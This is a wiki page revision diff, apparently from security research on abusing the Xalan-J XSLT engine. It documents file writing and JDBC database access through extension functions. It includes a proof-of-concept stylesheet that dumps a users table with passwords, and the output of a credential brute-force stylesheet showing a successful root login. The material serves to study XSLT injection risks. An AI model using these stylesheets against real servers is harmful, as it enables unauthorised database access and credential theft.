Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 57.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 00:12
Change comment: There is no comment for this version
To version Icon 62.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:13
Change comment: Upload new attachment xalanj-jdbc-query.xsl

Summary

Details

Icon Page properties
Content
... ... @@ -59,7 +59,7 @@
59 59  
60 60  == File creation ==
61 61  
62 -The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
62 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 63  
64 64  |=Namespace|=Extension element|=Parameter|=PoC
65 65  |http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
... ... @@ -66,4 +66,20 @@
66 66  
67 67  == JDBC connectivity ==
68 68  
69 -xxx TODO xxx
69 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
70 +
71 +|=Namespace|=Extension function|=PoC
72 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
73 +
74 +=== Brute-force ===
75 +
76 +The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
77 +
78 +
79 +Here's the output when launched from the CLI :
80 +
81 +##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
82 +Username : [root] / Password : [] :
83 +Username : [root] / Password : [uberpasswd] :
84 +Username : [root] / Password : [cnam] : OK !!
85 +Username : [pma] / Password : [pma] : ##
Icon xalanj-jdbc-query.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +848 bytes
Content
... ... @@ -1,0 +1,22 @@
1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 + extension-element-prefixes="sql"
4 + version="1.0">
5 +
6 +<xsl:output method="xml" indent="yes"/>
7 +
8 +<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 +<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 +<xsl:param name="user" select="'root'"/>
11 +<xsl:param name="pass" select="'14m31337'"/>
12 +<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 +
14 +<xsl:template match="/">
15 + <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 + <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 + <xsl:copy-of select="$table" />
18 + <xsl:value-of select="sql:close($db)"/>
19 +</xsl:template>
20 +
21 +</xsl:stylesheet>
22 +